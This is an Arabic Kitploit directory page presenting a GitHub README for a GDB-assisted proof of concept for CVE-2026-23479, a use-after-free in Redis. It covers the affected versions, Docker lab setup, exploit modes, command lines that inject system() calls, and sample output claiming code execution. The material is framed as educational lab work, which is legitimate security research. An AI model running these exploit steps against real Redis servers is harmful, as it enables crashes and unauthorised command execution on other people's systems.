Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي/المختبري فقط) | Kitploit
أدوات/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
تحليل الثغرات الأمنيةالاستغلالمصممي الأخطاءالتعلم والتعليمأمن قواعد البياناتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي/المختبري فقط)

عرض المستودع
51منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🔥 CVE-2026-23479 – إثبات مفهوم لثغرة Use-After-Free في Redis

License Python Docker CVE PoC

Use-After-Free في Redis unblockClientOnKey() يؤدي إلى تنفيذ تعليمات برمجية عن بُعد
إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي / المختبري فقط)


📖 نظرة عامة

CVE-2026-23479 هي ثغرة Use‑After‑Free (UAF) حرجة في إصدارات Redis من 7.2.0 حتى 8.6.2.
يقع الخلل في unblockClientOnKey() التي تستدعي processCommandAndResetClient() دون التحقق من قيمة الإرجاع.
إذا تم تحرير العميل أثناء ذلك الاستدعاء (مثلاً بسبب الإخلاء)، يستمر المستدعي في العمل على مؤشر معلّق → UAF.
يمكن للمهاجم القادر على تشكيل الكومة (heap) بعد التحرير أن يحقق تنفيذ تعليمات برمجية عشوائية.

يوفر هذا المستودع إثبات مفهوم بمساعدة GDB يقوم بما يلي:

  • تفعيل مسار الكود المصاب بدقة
  • إثبات ثغرة UAF عبر التسبب عمداً في انهيار (استدعاء freeClient())
  • إظهار تنفيذ أوامر عشوائية عبر حقن استدعاء system() في نفس النقطة

⚠️ مهم: هذا ليس استغلالاً مسلّحاً. يستخدم GDB داخل حاوية Docker ذات صلاحيات لـ محاكاة ما يمكن لمهاجم حقيقي تحقيقه بعد استغلال الثغرة بنجاح. استخدمه فقط في مختبرك الخاص أو على أنظمة لديك إذن صريح باختبارها.

🎥 فيديو إثبات المفهوم

https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea


✨ الميزات

  • 🧪 أربعة أوضاع تشغيل – crash، gdb، rce، full
  • 🐳 قائم على Docker – لا حاجة لتثبيت Redis مصاب على المضيف
  • 🔍 كشف تلقائي للإصدار – يتحقق مما إذا كان الهدف ضمن النطاق المتأثر
  • 🧹 تنظيف ذاتي – يقتل جلسات GDB القديمة قبل كل تشغيل
  • 🎯 اسم حاوية مرن – مرّر أي حاوية عبر --container
  • 📦 ملف Python واحد – بدون أي اعتماديات خارج المكتبة القياسية

🧠 كيف يعمل

  1. حجب ضحية – أمر XREAD BLOCK يجعل العميل ينتظر بيانات التدفق.
  2. إرفاق GDB – يرفق GDB بعملية Redis (pid 1) داخل الحاوية.
  3. تعيين نقطة توقف على processCommandAndResetClient – الدالة التي تُستدعى عند إعادة معالجة العميل المحجوب.
  4. تفعيل إلغاء الحجب – أمر XADD على نفس التدفق يوقظ الضحية.
  5. عند الوصول إلى نقطة التوقف:
    • وضع gdb: يستدعي freeClient($rdi) → يتسبب عمداً في SIGSEGV → يثبت ثغرة UAF.
    • وضع rce: يستدعي system("your command") → ينفذ أوامر shell عشوائية بصلاحيات مستخدم Redis (root افتراضياً).
  6. التحقق – يتحقق السكربت من وجود ملف الإثبات المتوقع (RCE) أو ما إذا انهار Redis (UAF).

تُفعَّل نقطة التوقف في كل مرة يتم فيها إلغاء حجب عميل محجوب، مما يُظهر أن نفس مسار الكود الذي يحتوي على ثغرة UAF يسمح أيضاً بتنفيذ التعليمات البرمجية.


📋 الإصدارات المتأثرة

الفرعالنطاق المصاب
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

يقوم السكربت تلقائياً بتحليل إصدار Redis ويُبلّغ عما إذا كان مصاباً.


🐳 المتطلبات الأساسية

  • Docker مثبّت ويعمل
  • Python 3.8+ (يُستخدم فقط stdlib)
  • صورة Docker لـ Redis 8.6.2 تستخدم apt (مثل الصورة الرسمية redis:8.6.2)
  • يجب إنشاء الحاوية مع --privileged (مطلوب لـ ptrace)

⚙️ الإعداد

1. استنساخ المستودع

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. تشغيل حاوية Redis مصابة

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. تثبيت GDB داخل الحاوية

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. التحقق

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 الاستخدام

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

الأوضاع

الوضعالوصف
crashمحاولة تفعيل ثغرة UAF عبر ضغط الذاكرة (لا يتطلب GDB). قد ينهار Redis، لكن ليس مضموناً.
gdbإرفاق GDB واستدعاء freeClient() عند نقطة التوقف → يفرض SIGSEGV (يثبت ثغرة UAF).
rceإرفاق GDB واستدعاء system(cmd) عند نقطة التوقف → ينفذ أمر shell داخل الحاوية.
fullتشغيل crash أولاً؛ إذا لم ينهار Redis، يتم الرجوع إلى gdb.

الخيارات

الوسيطالافتراضيالوصف
target(مطلوب)عنوان IP لخادم Redis
-p, --port6379منفذ Redis
-m, --modefullأحد الأوضاع crash، gdb، rce، full
--containerenv-redis-vuln-1اسم حاوية Docker
--cmdid > /tmp/pwned_by_cveالأمر المراد تنفيذه في وضع rce

📚 أمثلة خطوة بخطوة

ملاحظة: جميع الأوامر تُنفَّذ من جهاز المضيف، وليس داخل حاوية Docker.

1. إثبات ثغرة UAF عبر GDB

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

المخرجات المتوقعة (مقتطف)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

سينهار Redis بعد خطأ التقسيم (segmentation fault).

أعد تشغيل الحاوية:

docker start redis-vuln-local

2. تحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE)

أعد تشغيل Redis لضمان حالة نظيفة:

docker restart redis-vuln-local

شغّل الاستغلال:

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

تحقق من ملف الإثبات:

docker exec redis-vuln-local ls -l /tmp/pwned

إذا نجح الأمر، سيكون الملف موجوداً، مما يثبت أن:

system("touch /tmp/pwned");

تم تنفيذه داخل حاوية Redis.


3. تفعيل ثغرة UAF بدون GDB (ضغط الذاكرة)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

إذا خرج Redis بشكل غير متوقع (الحاوية لم تعد قيد التشغيل)، فمن المحتمل أن ثغرة UAF قد تم تفعيلها.

أعد تشغيلها باستخدام:

docker start redis-vuln-local

4. تشغيل الاختبار الكامل

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

هذا الوضع:

  1. يحاول الانهيار عبر ضغط الذاكرة.
  2. يرجع إلى الطريقة بمساعدة GDB إذا نجا Redis.

📸 مخرجات نموذجية (وضع RCE)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 التعديلات عن السكربت الأصلي

كان إثبات المفهوم الأصلي مبرمجاً بشكل ثابت لحاوية باسم env-redis-vuln-1 واحتوى على عدة مشاكل عند تنفيذه مع إصدارات Python الأحدث.

يقدّم الإصدار المحدّث التحسينات التالية:

تنزيل الأداة